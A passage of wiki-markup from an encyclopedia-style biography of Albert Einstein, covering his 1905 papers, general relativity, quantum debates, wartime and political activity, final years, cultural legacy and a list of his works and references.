The first paper, named &quot;''On a Heuristic Viewpoint Concerning the Production and Transformation of Light''&quot;, (&quot;''Über einen die Erzeugung und Verwandlung des Lichtes betreffenden heuristischen Gesichtspunkt''&quot;) proposed that &quot;energy quanta&quot; (which are essentially what we now call [[photon]]s) were real, and showed how they could be used to explain such phenomena as the [[photoelectric effect]].  This paper was specifically cited for his Nobel Prize. [[Max Planck]] had made the formal assumption that energy was quantized in deriving his black-body radiation law, published in 1901, but had considered this to be no more than a mathematical trick.  The photoelectric effect thus provided a simple confirmation of Max Planck's hypothesis of quanta.

His second article in 1905, named &quot;''On the Motion—Required by the Molecular Kinetic Theory of Heat—of Small Particles Suspended in a Stationary Liquid''&quot;, (&quot;''[[Über die von der molekularkinetischen Theorie der Wärme geforderte Bewegung von in ruhenden Flüssigkeiten suspendierten Teilchen]]''&quot;) covered his study of [[Brownian motion]], and provided empirical evidence for the existence of atoms. Before this paper, [[atom]]s were recognized as a useful concept, but [[physicist]]s and [[chemist]]s hotly debated whether atoms were real entities. Einstein's statistical discussion of atomic behavior gave [[experimentalist]]s a way to count atoms by looking through an ordinary [[microscope]]. [[Wilhelm Ostwald]], one of the leaders of the anti-atom school, later told [[Arnold Sommerfeld]] that he had been converted to a belief in atoms by Einstein's complete explanation of Brownian motion.  At the same time as Einstein, Brownian Motion was also described by [[Smoluchowski]].

Einstein's third paper that year, &quot;''On the Electrodynamics of Moving Bodies''&quot; (&quot;''Zur Elektrodynamik bewegter Körper''&quot;), was published in September 1905. This paper introduced the [[special relativity|special theory of relativity]], a theory of time, distance, mass and energy which was consistent with [[electromagnetism]], but omitted the force of [[gravity]]. While developing this paper, Einstein wrote to Mileva about &quot;our work on relative motion&quot;, and this has led some to ask whether Mileva played a part in its development. A few historians of science believe that Einstein and his wife were both aware that the famous Frenchman [[Henri Poincaré]] had already published the equations of Relativity, a few weeks  before Einstein submitted his paper; most believe their work independent, especially given Einstein's isolation at this time. 

A fourth paper, &quot;''Does the Inertia of a Body Depend Upon Its Energy Content?''&quot;, (&quot;''Ist die Trägheit eines Körpers von seinem Energieinhalt abhängig?''&quot;) published late in 1905, showed one further deduction from relativity's [[axiom]]s, the famous equation that the [[energy]] of a body at rest (''E'') equals its mass (''m'') times the speed of light (''c'') squared: ''[[E=mc²|E&amp;nbsp;=&amp;nbsp;mc&amp;sup2;]]''. &lt;!-- whether this is correct or should be included seems dubious:  , this equation having been first correctly published by [[Henri Poincaré]] (1900), for the case of mass equivalence of electromagnetic [[radiation]].  Max Planck(1907) questioned the reasoning in Einstein's derivation, and H.E.Ives(1953) called Einstein's derivation a tautology. --&gt;

===Middle years===
[[Image:Einstein 1911 Solvay.jpg|frame|right|Einstein at the 1911 [[Solvay Conference]].]] 

In 1906, Einstein was promoted to technical examiner second class. In 1908, Einstein was licensed in [[Bern]], Switzerland, as a [[Privatdozent]] (unsalaried teacher at a university). Einstein's second son, [[Eduard Einstein|Eduard]], was born on [[July 28]], [[1910]]. At this time, he described why the sky is blue in his paper on the phenomenon of [[critical opalescence]], which shows the cumulative effect of [[scattering]] of light by individual molecules in the atmosphere.[http://www.pbs.org/wgbh/nova/einstein/genius/] In 1911, Einstein became first associate [[professor]] at the [[University of Zurich]], and shortly afterwards full professor at the (German) [[University of Prague]], only to return the following year to [[Zurich]] in order to become full professor at the [[ETH Zurich]]. At that time, he worked closely with the [[mathematician]] [[Marcel Grossmann]]. In 1912, Einstein started to refer to [[time]] as the [[fourth dimension]] (although [[H.G. Wells]] had done this earlier, in 1895 in ''[[The Time Machine]]'').

In 1914, just before the start of [[World War I]], Einstein settled in [[Berlin]] as professor at the local [[University of Berlin|university]] and became a member of the [[Prussian Academy of Sciences]]. He took German citizenship. His [[pacifism]] and [[Jew]]ish origins irritated German nationalists.  After he became world-famous, nationalistic hatred of him grew and for the first time he was the subject of an organized campaign to discredit his theories. From 1914 to 1933, he served as director of the [[Kaiser Wilhelm Institute]] for Physics in Berlin, and it was during this time that he was awarded his [[Nobel Prize]] and made his most groundbreaking discoveries. He was also an extraordinary professor at the [[Leiden University]] from 1920 until officially 1946, where he regularly gave guest lectures.

In 1917, Einstein published &quot;''On the Quantum Mechanics of Radiation''&quot; (&quot;''Zur Quantenmechanik der Strahlung''&quot;, Physkalische Zeitschrift 18, 121-128). This article introduced the concept of [[stimulated emission]], the physical principle that allows light amplification in the [[laser]]. He also published a paper that year that used the general theory of relativity to model the behavior of the entire universe, setting the stage for modern [[physical cosmology|cosmology]]. In this work he created his self-described &quot;worst blunder&quot;, the [[cosmological constant]].

Einstein divorced Mileva on [[February 14]], [[1919]], and married his cousin [[Elsa Löwenthal]] (born Einstein: Löwenthal was the surname of her first husband, Max) on [[June 2]], [[1919]]. Elsa was Albert's first cousin (maternally) and his second cousin (paternally). She was three years older than Albert, and had nursed him to health after he had suffered a partial nervous breakdown combined with a severe stomach ailment; there were no children from this marriage. The fate of Albert and Mileva's first child, Lieserl, is unknown. Some believe she died in infancy, while others believe she was given out for adoption.  They later had two sons: Eduard and Hans Albert. Eduard intended to practice as a [[psychoanalyst|Freudian analyst]] but was institutionalized for [[schizophrenia]] and died in an asylum. [[Hans Albert Einstein|Hans Albert]], his older brother, became a professor of [[hydraulic engineering]] at the [[University of California, Berkeley]], having little interaction with his father. 
[[Image:Einstein theory triumphs.png|thumb|left|222px|&quot;Einstein theory triumphs,&quot; declared the ''[[New York Times]]'' on [[November 10]] [[1919]].]]

====General relativity====
In November 1915, Einstein presented a series of lectures before the Prussian Academy of Sciences in which he described his theory of gravity, known as [[general relativity]]. The final lecture climaxed with his introduction of an equation that replaced Newton's law of gravity, the Field Equation, which was first derived from a variational principle by [[David Hilbert]].  This theory considered all observers to be equivalent, not only those moving at a uniform speed. In general relativity, gravity is no longer a force (as it is in Newton's law of gravity) but is a consequence of the curvature of [[space-time]].  

The theory provided the foundation for the study of [[physical cosmology|cosmology]] and gave scientists the tools for understanding many features of the universe that were discovered well after Einstein's death.  A truly revolutionary theory, general relativity has so far passed every test posed to it and has become a powerful tool used in the analysis of many subjects in physics.

Initially, scientists were skeptical because the theory was derived by mathematical reasoning and rational analysis, not by experiment or observation.  But in 1919, predictions made using the theory were confirmed by [[Arthur Stanley Eddington|Arthur Eddington]]'s measurements (during a [[solar eclipse]]), of how much the light emanating from a star was [[Gravitational lens|bent]] by the [[Sun]]'s gravity when it passed close to the Sun, an effect called gravitational lensing. The observations were carried out on [[May 29]], [[1919]], at two locations, one in [[Sobral, Ceará]], [[Brazil]], and another in the island of [[Principe]], in the west coast of [[Africa]]. On [[November 7]], ''[[The Times]]'' reported the confirmation, cementing Einstein's fame.  

Many scientists were still unconvinced for various reasons ranging from disagreement with Einstein's interpretation of the experiments, to not being able to tolerate the absence of an absolute frame of reference.  In Einstein's view, many of them simply could not understand the mathematics involved.  Einstein's public fame which followed the 1919 article created resentment among these scientists some of which lasted well into the 1930s.

In the early 1920s Einstein was the lead figure in a famous weekly physics colloquium at the University of Berlin.  On [[March 30]], [[1921]], Einstein went to [[New York City|New York]] to give a lecture on his new Theory of Relativity, the same year he was awarded the Nobel Prize. Though he is now most famous for his work on relativity, it was for his earlier work on the [[photoelectric effect]] that he was given the Prize, as his work on general relativity was still disputed. The Nobel committee decided that citing his less-contested theory in the Prize would gain more acceptance from the scientific community.

Sir Edmund Whittaker(1953) stated that [[David Hilbert]] published the theory of general relativity  ''nearly simultaneously'' with Einstein.

====The &quot;Copenhagen&quot; interpretation====
[[Image:Niels Bohr Albert Einstein by Ehrenfest.jpg|right|thumb|200px|Einstein and [[Niels Bohr]] sparred over [[quantum theory]] during the 1920s.]]
Einstein's postulation that light can be described not only as a wave with no kinetic energy, but also as massless discrete packets of energy called quanta with measurable kinetic energy (now known as photons) was a landmark break with the classical physics. In 1909 Einstein presented his first paper on the quantification of light to a gathering of physicists and told them that they must find some way to understand waves and particles together.

In the mid-1920s, as the original quantum theory was replaced with a new theory of [[quantum mechanics]], Einstein balked at the [[Copenhagen interpretation]] of the new equations because it settled for a probabilistic, non-visualizable account of physical behaviour. Einstein agreed that the theory was the best available, but he looked for a more &quot;complete&quot; explanation, i.e., more [[scientific determinism|deterministic]]. He could not abandon the belief that physics described the laws that govern &quot;real things&quot;, the belief which had led to his successes with atoms, photons, and gravity.

In a 1926 letter to [[Max Born]], Einstein made a remark that is now famous:
: ''Quantum mechanics is certainly imposing. But an inner voice tells me it is not yet the real thing. The theory says a lot, but does not really bring us any closer to the secret of the Old One. I, at any rate, am convinced that He does not throw dice.'' 

To this, [[Niels Bohr|Bohr]], who sparred with Einstein on quantum theory, retorted, &quot;Stop telling God what He must do!&quot; The [[Bohr-Einstein debates]] on foundational aspects of quantum mechanics happened during the [[Solvay Conference|Solvay conferences]]. 

Einstein was not rejecting probabilistic theories ''per se''. Einstein himself was a great statistician, using statistical analysis in his works on Brownian motion and photoelectricity and in papers published before the miraculous year 1905; Einstein had even discovered [[Gibbs ensemble]]s. He believed, however, that at the core reality behaved [[scientific determinism|deterministically]]. Many physicists argue that experimental evidence contradicting this belief was found much later with the discovery of [[Bell's Theorem]] and [[Bell's inequality]]. Nonetheless, there is still space for lively discussions about the [[interpretation of quantum mechanics]].

====Bose-Einstein statistics====
In 1924, Einstein received a short paper from a young [[India]]n physicist named [[Satyendra Nath Bose]] describing light as a gas of photons and asking for Einstein's assistance in publication.  Einstein realized that the same statistics could be applied to atoms, and published an article in [[German language|German]] (then the [[lingua franca]] of physics) which described Bose's model and explained its implications.  [[Bose-Einstein statistics]] now describe any assembly of these [[identical particles|indistinguishable particles]] known as [[boson]]s. The [[Bose-Einstein condensate]] phenomenon was predicted in the 1920s by Bose and Einstein, based on Bose's work on the statistical mechanics of photons, which was then formalized and generalized by Einstein. The first such condensate was produced by [[Eric Cornell]] and [[Carl Wieman]] in 1995 at the [[University of Colorado at Boulder]]. Einstein's original sketches on this theory were recovered in August 2005 in the library of [[Leiden University]].{{rf|10|www.lorentz.leidenuniv.nl.378}}

Einstein also assisted [[Erwin Schrödinger]] in the development of the [[quantum Boltzmann distribution]], a mixed classical and quantum mechanical gas model although he realized that this was less significant than the Bose-Einstein model and declined to have his name included on the paper.

====The Einstein refrigerator====
[[Image:Einstein Refrigerator.png|thumb|right|222px|Einstein and [[Leó Szilárd|Szilárd]]'s refrigerator  patent diagram.]]

Einstein and former student [[Leó Szilárd]] co-invented a unique type of [[refrigeration|refrigerator]] (usually called the [[Einstein refrigerator]]) in 1926.{{rf|11|gtalumni.org.379}} On [[November 11]], [[1930]], {{US patent|1,781,541}} was awarded to Albert Einstein and Leó Szilárd. The patent covered a thermodynamic refrigeration cycle providing cooling with no moving parts, at a constant [[pressure]], with only [[heat]] as an input. The refrigeration cycle used [[ammonia]], [[butane]], and [[water (molecule)|water]].

====World War II====
When [[Adolf Hitler]] came to power in January 1933, Einstein was a guest professor at [[Princeton University]], a position which he took in December 1932, after a invitation from the American educator, [[Abraham Flexner]]. In 1933, the [[Nazi]]s passed &quot;The Law of the Restoration of the Civil Service&quot; which forced all Jewish university professors out of their jobs, and throughout the 1930s a campaign to label Einstein's work as &quot;Jewish physics&quot;&amp;mdash;in contrast with &quot;German&quot; or &quot;Aryan physics&quot;&amp;mdash;was led by Nobel laureates [[Philipp Lenard]] and [[Johannes Stark]]. With the assistance of the [[SS]], the ''[[Deutsche Physik]]'' supporters worked to publish pamplets and textbooks denigrating Einstein's theories and attempted to politically [[blacklist]] German physicists who taught them, notably [[Werner Heisenberg]]. Einstein renounced his German citizenship and stayed in the [[United States]], where he was given permanent residency. He accepted a position at the newly founded [[Institute for Advanced Study]] in [[Princeton Township, New Jersey|Princeton Township]], [[New Jersey]]. He became an American citizen in 1940, though he still retained Swiss citizenship.

In 1939, under the encouragement of Szilárd, Einstein [[Einstein-Szilárd letter|sent a letter]] to President [[Franklin Delano Roosevelt]] urging the study of [[nuclear fission]] for military purposes, under fears that the Nazi government would be first to develop [[atomic weapon]]s. 
Roosevelt started a small investigation into the matter which eventually became the massive [[Manhattan Project]]. Einstein himself did not work on the bomb project, however.

The [[International Rescue Committee]] was founded 1933 at the request of Albert Einstein to assist opponents of Adolf Hitler.

For more information, see the section below on Einstein's [[#Political views|political views]].

====Institute for Advanced Study====
His work at the Institute for Advanced Study focused on the unification of the [[physical law|laws of physics]], which he referred to as the ''Unified Field Theory''. He attempted to construct a model which would describe all of the [[fundamental forces]] as different manifestations of a single force. This took the form of an attempt to unify the gravitational and electrodynamic forces. His attempt was hindered because the [[strong interaction|strong]] and [[weak nuclear force]]s were not understood independently until around 1970, fifteen years after Einstein's death. Einstein's goal of unifying the laws of physics under a single model survives in the current drive for [[Grand unification theory|unification of the forces]], embodied most notably by [[string theory]].

====Generalized theory==== 
Einstein began to form a [[generalized theory of gravitation]] with the Universal Law of Gravitation and the electromagnetic force in his first attempt to demonstrate the unification and simplification of the fundamental forces. In 1950 he described his work in a ''[[Scientific American]]'' article.  Einstein was guided by a belief in a single statistical measure of variance for the entire set of physical laws. 

Einstein's Generalized Theory of Gravitation is a universal mathematical approach to field theory. He investigated reducing the different phenomena by the process of logic to something already known or evident. Einstein tried to unify gravity and electromagnetism in a way that also led to a new subtle understanding of quantum mechanics.

Einstein postulated a four-dimensional space-time continuum expressed in axioms represented by five component vectors.  Particles appear in his research as a limited region in space in which the field strength or the energy density are particularly high. Einstein treated subatomic particles as objects embedded in the unified field, influencing it and existing as an essential constituent of the unified field but not of it. Einstein also investigated a natural generalization of symmetrical tensor fields, treating the combination of two parts of the field as being a natural procedure of the total field and not the symmetrical and antisymmetrical parts separately. He researched a way to delineate the equations and systems to be derived from a [[variational principle]].

Einstein became increasingly isolated in his research on a generalised theory of gravitation and was ultimately unsuccessful in his attempts.  In particular, his pursuit of a unification of the fundamental forces ignored work in the physics community at large, most notably the discovery of the [[strong nuclear force]] and [[weak nuclear force]].
[[Image:Einstein house in Princeton.jpg|thumb|left|222px|Einstein's two-story house, white frame with front porch in [[Greek revival]] style, in [[Princeton, New Jersey|Princeton]] (112 Mercer Street).]]

===Final years===
In 1948, Einstein served on the original committee which resulted in the founding of [[Brandeis University]]. A portrait of Einstein was taken by [[Yousuf Karsh]] on [[February 11]] of that same year. In 1952, the [[Israel]]i government proposed to Einstein that he take the post of second president. He declined the offer, and remains the only United States citizen ever to be offered a position as a foreign head of state. On [[March 30]], [[1953]], Einstein released a revised unified [[Field (physics)|field theory]].

He died at 1:15 AM[http://faculty.washington.edu/chudler/ein.html] in Princeton hospital[http://www.princetonhistory.org/museum_alberteinstein.cfm] in [[Princeton, New Jersey]], on [[April 18]], [[1955]] at the age of 76 from internal bleeding, which was caused by the rupture of an [[aortic aneurism]], leaving the Generalized Theory of Gravitation unsolved.  The only person present at his deathbed, a hospital nurse, said that just before his death he mumbled several words in [[German language|German]] that she did not understand. He was [[cremation|cremated]] without ceremony on the same day he died at [[Trenton, New Jersey]], in accordance with his wishes. His ashes were scattered at an undisclosed location. 

An autopsy was performed on Einstein by Dr. [[Thomas Stoltz Harvey]], who removed and preserved [[Albert Einstein's brain|his brain]]. Harvey found nothing unusual with his brain, but in 1999 further analysis by a team at [[McMaster University]] revealed that his parietal [[Operculum (brain)|operculum]] region was missing and, to compensate, his inferior [[parietal lobe]] was 15% wider than normal.{{rf|12|news.bbc.co.uk.381}} The inferior parietal region is responsible for mathematical thought, visuospatial cognition, and imagery of movement. Einstein's brain also contained 73% more [[glial cells]] than the average brain.

==Personality==
Albert Einstein was much respected for his kind and friendly demeanor rooted in his [[pacifism]].  He was modest about his abilities, and had distinctive attitudes and fashions—for example, he minimized his wardrobe so that he would not need to waste time in deciding on what to wear. He was captivatingly simple, wearing mothy sweaters and sweatshirts and sans socks in his old age. He occasionally had a playful sense of humor, and enjoyed [[sailing]] and playing the [[violin]].  He was also the stereotypical bumbling &quot;[[absent-minded professor]]&quot;; he was often forgetful of everyday items, such as keys, and would focus so intently on solving physics problems that he would often become oblivious to his surroundings. In his later years, his appearance inadvertently created (or reflected) another stereotype of scientist in the process: the researcher with unruly white hair. 

===Religious views===
Although he was raised [[Jewish]], he was not a believer in the religious aspect of [[Judaism]], though he still considered himself a Jew. He simply admired the beauty of nature and the universe.  From a letter written in [[English language|English]], dated [[March 24]], [[1954]], Einstein wrote, ''&quot;It was, of course, a lie what you read about my religious convictions, a lie which is being systematically repeated. I do not believe in a personal God and I have never denied this but have expressed it clearly.  If something is in me which can be called religious then it is the unbounded admiration for the structure of the world so far as our science can reveal it.&quot;''

He also said (in an essay reprinted in ''Living Philosophies'', vol. 13, 1931): ''&quot;A knowledge of the existence of something we cannot penetrate, our perceptions of the profoundest reason and the most radiant beauty, which only in their most primitive forms are accessible to our minds—it is this knowledge and this emotion that constitute true religiosity; in this sense, and this [sense] alone, I am a deeply religious man.&quot;''

The following is a response made to [[Rabbi Herbert Goldstein]] of the [[International Synagogue]] in [[New York City|New York]] which read, ''&quot;I believe in [[Baruch Spinoza|Spinoza's God]] who reveals himself in the orderly harmony of what exists, not in a God who concerns himself with the fates and actions of human beings.&quot;'' After being pressed on his religious views by [[Martin Buber]], Einstein exclaimed, ''&quot;What we [physicists] strive for is just to draw His lines after Him.&quot;'' He also quoted once ''&quot;When I read the [[Bhagavad Gita]], I ask myself how God created the universe. Everything else seems superfluous.&quot;'' Summarizing his religious beliefs, he once said: ''&quot;My [[religion]] consists of a humble admiration of the illimitable superior spirit who reveals himself in the slight details we are able to perceive with our frail and feeble mind.&quot;''

Einstein was an Honorary Associate of the [[Rationalist Press Association]] beginning in 1934, and was an admirer of [[Ethical Culture]].{{rf|13|ethicalculture.1}}

===Political views===
[[Image:Mikhoels and Einstein 1943.jpg|thumb|right|222px|Einstein and [[Solomon Mikhoels]], the chairman of the [[Soviet Union|Soviet]] [[Jewish Anti-Fascist Committee]], in 1943.]]

Einstein considered himself a [[pacifism|pacifist]]{{rf|14|www.amnh.org.382}} and [[Humanitarianism|humanitarian]],{{rf|15|www.amnh.org.383}} and in later years, a committed democratic [[socialism|socialist]]. He once said, ''&quot;I believe [[Mahatma Gandhi|Gandhi's]] views were the most enlightened of all the political men of our time.  We should strive to do things in his spirit: not to use violence for fighting for our cause, but by non-participation of anything you believe is evil.&quot;'' Einstein's views on other issues, including socialism, [[McCarthyism]] and [[racism]], were controversial. In a 1949 article entitled &quot;Why Socialism?&quot;,{{rf|16|socialism}} Albert Einstein described the &quot;predatory phase of human development&quot;, exemplified by a chaotic [[capitalism|capitalist]] society, as a source of evil to be overcome. He disapproved of the [[totalitarian]] regimes in the [[Soviet Union]] and elsewhere, and argued in favor of a [[democratic socialism|democratic socialist]] system which would combine a [[planned economy]] with a deep respect for [[human rights]]. Einstein was a co-founder of the liberal [[German Democratic Party]] and a member of the [[AFL-CIO]]-affiliated union the [[American Federation of Teachers]].

Einstein was very much involved in the [[American Civil Rights Movement|Civil Rights movement]]. He was a close friend of [[Paul Robeson]] for over 20 years.  Einstein was a member of several civil rights groups (including the Princeton chapter of the [[NAACP]]) many of which were headed by Paul Robeson. He served as co-chair with [[Paul Robeson]] of the ''American Crusade to End Lynching''. When [[W.E.B. DuBois]] was frivolously charged with being a communist spy during the McCarthy era while he was in his 80s, Einstein volunteered as a character witness in the case. The case was dismissed shortly after it was announced that he was to appear in that capacity. Einstein was quoted as saying that &quot;racism is America's greatest disease&quot;. 

The U.S. [[Federal Bureau of Investigation|FBI]] kept a 1,427 page file on his activities and recommended that he be barred from immigrating to the United States under the [[Alien Exclusion Act]], alleging that Einstein ''&quot;believes in, advises, advocates, or teaches a doctrine which, in a legal sense, as held by the courts in other cases, 'would allow [[anarchy (word)|anarchy]] to stalk in unmolested' and result in 'government in name only'&quot;'', among other charges. They also alleged that Einstein ''&quot;was a member, sponsor, or affiliated with thirty-four [[communism|communist]] fronts between 1937-1954&quot;'' and ''&quot;also served as honorary chairman for three communist organizations&quot;''.{{rf|17|foia.fbi.gov.384}} It should be noted that many of the documents in the file were submitted to the FBI, mainly by civilian political groups, and not actually written by FBI officials.

[[Image:EinsteinSzilard.jpg|thumb|left|222px|In 1939, Einstein signed a letter, written by [[Leó Szilárd]], to [[Franklin D. Roosevelt|President Roosevelt]] arguing that the United States should start funding research into the development of [[nuclear weapon]]s.]]

Einstein opposed tyrannical forms of government, and for this reason (and his Jewish background), opposed the Nazi regime and fled Germany shortly after it came to power. At the same time, Einstein's [[libertarian socialism|anarchist]] nephew [[Carl Einstein]], who shared many of his views, was fighting the fascists in the [[Spanish Civil War]]. Einstein initially favored construction of the [[atomic bomb]], in order to ensure that [[Adolf Hitler|Hitler]] did not do so first, and even sent a letter{{rf|18|hypertextbook.com.385}} to President [[Franklin D. Roosevelt|Roosevelt]] (dated [[August 2]], [[1939]], before [[World War II]] broke out, and probably written by [[Leó Szilárd]]) encouraging him to initiate a program to create a nuclear weapon. Roosevelt responded to this by setting up a committee for the investigation of using [[uranium]] as a weapon, which in a few years was superseded by the [[Manhattan Project]].  

After the war, though, Einstein lobbied for [[nuclear disarmament]] and a [[world government]]: &quot;I do not know how the Third World War will be fought, but I can tell you what they will use in the Fourth—rocks!&quot;{{rf|19|calaprice173}}

Einstein was a supporter of [[Zionism]]. He supported Jewish settlement of the ancient seat of Judaism and was active in the establishment of the [[Hebrew University]] in [[Jerusalem]], which published (1930) a volume titled ''About Zionism: Speeches and Lectures by Professor Albert Einstein'', and to which Einstein bequeathed his papers.  However, he opposed nationalism and expressed skepticism about whether a Jewish nation-state was the best solution.  He may have imagined Jews and Arabs living peacefully in the same land.  In later life, in 1952, he was offered the post of second president of the newly created state of [[Israel]], but declined the offer, claiming that he lacked the necessary people skills. Einstein was disturbed by the violence taking place in the Palestine after the Second World War and expressed that he was disappointed with the Jewish Ultra-Nationalist Organization ([[Irgun]] and Stern Gang). Nonetheless, Einstein remained deeply committed to the welfare of Israel and the Jewish people for the rest of his life.  

Einstein, along with [[Albert Schweitzer]] and [[Bertrand Russell]], fought against nuclear tests and bombs. As his last public act, and just days before his death, he signed the [[Russell-Einstein Manifesto]], which led to the [[Pugwash Conferences on Science and World Affairs]]. His letter to Russell read:

:Dear Bertrand Russell,

::Thank you for your letter of April&amp;nbsp;5. I am gladly willing to sign your excellent statement. I also agree with your choice of the prospective signers.

:With kind regards, A. Einstein

==Nationality: German, Swiss or American?==
Einstein was born a [[Germany|German]] citizen. At the age of seventeen, on [[January 28]], [[1896]], he was released from the German citizenship by his own request and with the approval of his father. He remained [[stateless person|stateless]] for five years.  On [[February 21]], [[1901]] he gained [[Switzerland|Swiss]] citizenship, which he never revoked.  Einstein regained German citizenship in [[1914#January-April|April 1914]] when he entered German civil service, but due to the political situation and the persecution of Jewish people in [[Nazi Germany]], he left civil service in [[1933#March|March 1933]] and thus also lost the German citizenship.  On [[1940#September-October|October 1, 1940]], Einstein became an [[United States citizen|American citizen]]. He remained both an American and a Swiss citizen until his death on [[1955#April|April 18, 1955]].

==Popularity and cultural impact==
Einstein's popularity has led to widespread use of Einstein in [[advertising]] and [[merchandising]], including the registration of &quot;Albert Einstein&quot; as a [[trademark]]. 

[[Image:Einstongue.jpg|thumb|right|222px|The photo (detail from the original) of this humorous expression was taken during Einstein's [[birthday]] on [[March 14]], [[1951]], [[United Press International|UPI]].]]

===Entertainment===
Albert Einstein has become the subject of a number of novels, [[film]]s and plays, including [[Jean-Claude Carrier]]'s 2005 French novel, Einstein S'il Vous Plait (Please Mr Einstein), [[Nicolas Roeg]]'s film ''[[Insignificance (film)|Insignificance]]'', [[Fred Schepisi]]'s film ''[[I.Q. (film)|I.Q.]]'', [[Alan Lightman]]'s novel ''Einstein's Dreams'', and [[Steve Martin]]'s comedic play &quot;[[Picasso at the Lapin Agile]]&quot;.  He was the subject of [[Philip Glass]]'s groundbreaking 1976 [[opera]] ''[[Einstein on the Beach]]''.  His humorous side is also the subject of [[Ed Metzger]]'s one-man play ''[[Albert Einstein: The Practical Bohemian]]''.

He is often used as a model for depictions of [[mad scientists|eccentric scientist]]s in works of fiction; his own character and distinctive hairstyle suggest eccentricity, or even lunacy and are widely copied or exaggerated. [[Time (magazine)|TIME]] magazine writer Frederic Golden referred to Einstein as &quot;a cartoonist's dream come true.&quot;

On Einstein's 72nd birthday in 1951, the [[UPI]] photographer Arthur Sasse was trying to coax him into smiling for the camera. Having done this for the photographer many times that day, Einstein stuck out his tongue instead.{{rf|20|www.mentalfloss.com.386}} The image has become an icon in pop culture for its contrast of the genius scientist displaying a moment of levity. [[Yahoo Serious]], an Australian film maker, used the photo as an inspiration for the intentionally anachronistic movie ''[[Young Einstein]]''.

===Licensing===
Einstein bequeathed his estate, as well as the use of his image (see [[personality rights]]), to the [[Hebrew University of Jerusalem]].{{rf|21|aip.org.387}} Einstein actively supported the university during his life and this support continues with the [[royalties]] received from licensing activities. [[The Roger Richman Agency]] [[licence|licences]] the commercial use of the name &quot;Albert Einstein&quot; and associated imagery and likenesses of Einstein, as [[agent (law)|agent]] for the [[Hebrew University of Jerusalem]]. As head licensee the agency can control commercial usage of Einstein's name which does not comply with certain standards (e.g., when Einstein's name is used as a [[trademark]], the ™ symbol must be used){{rf|22|refbot.388}}. As of May, 2005, the Roger Richman Agency was acquired by [[Corbis]].

===Honors===
[[Image:Einstein TIME Person of the Century.jpg|thumb|right|159px|Einstein on the cover of ''TIME'' as Person of the Century.]]

Einstein has received a number of posthumous honors. For example:
*In 1992, he was ranked #10 on [[Michael H. Hart]]'s [[The 100|list of the most influential figures in history]].
*In 1999, he was named ''Person of the Century'' by [[Time (magazine)|TIME]] magazine.
*Also in 1999, [[Gallup]] recorded him as the fourth most [[Gallup's List of Widely Admired People|admired]] person of the 20th century.
*The year 2005 was designated as the &quot;[[World Year of Physics]]&quot; by [[UNESCO]] for its coinciding with the centennial of the &quot;[[Annus Mirabilis Papers|Annus Mirabilis]]&quot; papers, celebrated at the [[Einstein Symposium]].
Among Einstein's many namesakes are:
*a unit used in [[photochemistry]], the ''[[einstein (unit)|einstein]]''.
*the [[chemical element]] 99, [[einsteinium]].
*the [[asteroid]] [[2001 Einstein]].
*the [[Albert Einstein Peace Prize]].
*the  Albert Einstein College of Medicine of Yeshiva University{{rf|23|refbot.389}} was named after Einstein upon his death in 1955.
*the  Albert Einstein Medical Center{{rf|24|www.einstein.edu.390}} in [[Philadelphia]], PA.

==See also==
* [[Special relativity]]
* [[General relativity]]
* [[History of special relativity]]
* [[History of general relativity]]
* [[Henri Poincaré]]
* [[David Hilbert]]
* [[Priority disputes about Einstein and the relativity theories]]

==Works by Albert Einstein==
[[Image:A clay portrait of Einstein by the sculptor Moshe Ziffer.jpg|thumb|right|155px|Clay portrait of Einstein by the sculptor [[Moshe Ziffer]].]]
*''[http://www.worldscibooks.com/phy_etextbook/4454/4454_chap1.pdf The Investigation of the State of Aether in Magnetic Fields]''. (PDF)
*''Ideas &amp; Opinions'' ISBN 0517003937
*''The World As I See It'' ISBN 080650711X (translation of &quot;Mein Weltbild&quot;)
*''[[wikisource:Relativity: The Special and General Theory|Relativity: The Special and General Theory]].'' ISBN 0517884410 ([http://www.gutenberg.net/browse/BIBREC/BR5001.HTM Project Gutenberg E-text])
* &quot;[http://www.fourmilab.ch/etexts/einstein/specrel/www/ On the Electrodynamics of Moving Bodies]&quot; ''[[Annalen der Physik]].'' [[June 30]], [[1905]]
* &quot;[http://www.fourmilab.ch/etexts/einstein/E_mc2/www/ Does the Inertia of a Body Depend Upon Its Energy Content?]&quot; ''[[Annalen der Physik]].'' [[September 27]], 1905.
* &quot;[http://alberteinstein.info/gallery/pdf/CP6Doc3_English_pp16-18.pdf Inaugural Lecture to the Prussian Academy of Sciences].&quot; 1914. [PDF]
* &quot;[http://hem.bredband.net/b153434/Works/Einstein.htm The Foundation of the General Theory of Relativity ].&quot; ''[[Annalen der Physik]],'' 49. 1916.
* &quot;[[wikisource:Nobel_Lecture_Physics_1921|Fundamental ideas and problems of the theory of relativity]].&quot; ''1921 Nobel Lecture in Physics.'' Nordic Assembly of Naturalists at Gothenburg, [[11 July]] [[1923]].
* Einstein A., Lorenz H. A., Weyl H. and Minkowski H.  ''The Principle of Relativity.'' Trans. W. Perrett and [[George Barker Jeffery|G. B. Jeffery]].  New York: Dover Publications, 1923.
* &quot;[http://www.monthlyreview.org/598einst.htm Why Socialism?]&quot; ''[[Monthly Review]].'' May 1949 ([http://www.amnh.org/exhibitions/einstein/global/popups/socialism.php original manuscript]).
* ''[http://www.alberteinstein.info/db/ViewImage.do?DocumentID=34170&amp;Page=1 On the Generalized Theory of Gravitation]''. April, 1950.

==References==
* {{cite book | author = [[Edmund Blair Bolles | Bolles, Edmund Blair]] | year = 2004 | month = April | title = Einstein Defiant: Genius versus Genius in the Quantum Revolution | publisher = National Academy Press | id = ISBN 0309089980 }}
* {{cite web | author = Butcher, Sandra Ionno | date = March 2005 | url = http://www.pugwash.org/publication/phs/phslist.htm | title = The Origins of the Russell-Einstein Manifesto }}
* {{cite book | first = Alice | last = Calaprice | title = The new quotable Einstein | pages = p. 173 | publisher = Princeton University Press | year = 2005 | id = ISBN 0-691-12075-7 }}
* {{cite book | author = [[Ronald W. Clark | Clark, Ronald W.]] | year = 1971 | title = Einstein: The Life and Times | publisher = Avon | id = ISBN 0-380-44123-3 }}
* {{cite journal | author = Galison, Peter | authorlink = Peter Galison | title = Einstein's Clocks: The Question of Time | journal = Critical Inquiry | year = Winter 2000 | volume = 26 | issue = 2 | pages = 355&amp;ndash;389 }}
[[IMAGE:Einstein Memorial.jpg | thumb | right | 215px | The [[Albert Einstein Memorial, Washington DC]] at the [[National Academy of Sciences]] in [[Washington, DC]].]]
